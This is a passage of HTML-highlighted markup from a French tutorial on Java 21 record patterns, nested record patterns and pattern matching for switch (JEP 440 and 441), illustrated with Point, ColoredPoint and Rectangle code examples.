&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;y&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;La &lt;em&gt;pattern variable&lt;/em&gt; &lt;code&gt;p&lt;/code&gt; n&amp;rsquo;est utilisée que pour accéder aux attributs du &lt;em&gt;record&lt;/em&gt;. C&amp;rsquo;est dommage de ne pas pouvoir accéder directement aux attributs. Depuis JDK21, il est possible d&amp;rsquo;écrire : &lt;/p&gt;
&lt;p&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// As of Java 21&lt;/span&gt;
&lt;span class="kd"&gt;static&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;printSum&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;obj&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;obj&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;instanceof&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;Point&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;y&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;y&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
… et &lt;code&gt;Point(int x, int y)&lt;/code&gt; est un &lt;strong&gt;&lt;em&gt;record pattern&lt;/em&gt;&lt;/strong&gt;. &lt;/p&gt;
&lt;p&gt;JDK21 permet d&amp;rsquo;aller plus loin et d&amp;rsquo;&lt;strong&gt;imbriquer&lt;/strong&gt; (&lt;em&gt;nested&lt;/em&gt;) les &lt;em&gt;record patterns&lt;/em&gt;. Si l&amp;rsquo;on prend l&amp;rsquo;exemple — assez habituel — d&amp;rsquo;un point qui devient un point coloré et qui intervient dans un rectangle, on peut définir : &lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// As of Java 16&lt;/span&gt;
&lt;span class="kd"&gt;record&lt;/span&gt; &lt;span class="nc"&gt;Point&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;y&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{}&lt;/span&gt;
&lt;span class="kd"&gt;enum&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Color&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;RED&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;GREEN&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;BLUE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="kd"&gt;record&lt;/span&gt; &lt;span class="nc"&gt;ColoredPoint&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Point&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Color&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{}&lt;/span&gt;
&lt;span class="kd"&gt;record&lt;/span&gt; &lt;span class="nc"&gt;Rectangle&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ColoredPoint&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;upperLeft&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ColoredPoint&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;lowerRight&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Un &lt;em&gt;record pattern&lt;/em&gt; &lt;strong&gt;simple&lt;/strong&gt; permet d&amp;rsquo;écrire : &lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// As of Java 21&lt;/span&gt;
&lt;span class="kd"&gt;static&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;printUpperLeftColoredPoint&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Rectangle&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;instanceof&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;Rectangle&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ColoredPoint&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ul&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ColoredPoint&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;lr&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ul&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;c&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;mais si l&amp;rsquo;on &lt;strong&gt;imbrique&lt;/strong&gt; les &lt;em&gt;record patterns&lt;/em&gt;, on peut écrire : &lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// As of Java 21&lt;/span&gt;
&lt;span class="kd"&gt;static&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;printColorOfUpperLeftPoint&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Rectangle&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;instanceof&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;Rectangle&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ColoredPoint&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Point&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Color&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
&lt;span class="w"&gt;                               &lt;/span&gt;&lt;span class="n"&gt;ColoredPoint&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;lr&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Les exemples sont issus de JEP 440 et il est possible d&amp;rsquo;aller plus loin et de voir leur usage dans le cas des génériques (&lt;em&gt;generics&lt;/em&gt;)…&lt;/p&gt;
&lt;p&gt;Voir &lt;a href="https://openjdk.org/jeps/440"&gt;JEP 440&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;Pattern matching pour le switch&lt;/h3&gt;
&lt;p&gt;Dans la même idée, JDK21 va également un pas plus loin dans le cas du &lt;em&gt;switch&lt;/em&gt;. &lt;/p&gt;
&lt;p&gt;Il arrive parfois (souvent) que l&amp;rsquo;on reçoive une variable de type &lt;code&gt;Object&lt;/code&gt; et que l&amp;rsquo;action a exécuter va dépendre du type effectif de cet objet. Dans cas, les tests se font à grands coups de &lt;code&gt;instanceof&lt;/code&gt;, un peu comme suit (en utilisant &lt;em&gt;type pattern&lt;/em&gt;) : &lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// Prior to Java 21&lt;/span&gt;
&lt;span class="kd"&gt;static&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;formatter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;obj&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;formatted&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;unknown&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;obj&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;instanceof&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Integer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;formatted&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;format&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;int %d&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;obj&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;instanceof&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Long&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;l&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;formatted&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;format&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;long %d&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;l&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;obj&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;instanceof&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Double&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;d&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;formatted&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;format&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;double %f&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;d&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;obj&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;instanceof&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;formatted&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;format&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;String %s&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;formatted&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Là où le &lt;code&gt;switch&lt;/code&gt; n&amp;rsquo;autorisait que les types &lt;code&gt;byte&lt;/code&gt;, &lt;code&gt;char&lt;/code&gt;, &lt;code&gt;short&lt;/code&gt; et &lt;code&gt;int&lt;/code&gt;, il autorise maintenant un type référence et l&amp;rsquo;on peut écrire un &lt;em&gt;switch expression&lt;/em&gt; comme suit :&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// As of Java 21&lt;/span&gt;
&lt;span class="kd"&gt;static&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;formatterPatternSwitch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;obj&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;switch&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;obj&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;case&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Integer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;format&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;int %d&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;case&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Long&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;l&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;format&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;long %d&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;l&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;case&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Double&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;d&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;format&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;double %f&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;d&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;case&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;format&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;String %s&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;default&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;obj&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;toString&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;};&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Le &lt;em&gt;switch version JDK21&lt;/em&gt; autorise également que la variable soit &lt;code&gt;null&lt;/code&gt; et l&amp;rsquo;on peut donc ajouter &lt;code&gt;case null -&amp;gt; // do something&lt;/code&gt; à l&amp;rsquo;exemple précédent. Le label &lt;em&gt;default&lt;/em&gt; ne correspond jamais à &lt;code&gt;null&lt;/code&gt;. &lt;code&gt;null&lt;/code&gt; doit être traité à part. &lt;/p&gt;
&lt;p&gt;Comme les différents cas ne correspondent plus à une constante mais à un type, le &lt;em&gt;pattern case label&lt;/em&gt; peut amener à plusieurs valeurs différentes, comme dans l&amp;rsquo;exemple (toujours issu de JEP 441) : &lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// As of Java 21&lt;/span&gt;
&lt;span class="kd"&gt;static&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;testStringOld&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;switch&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;case&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
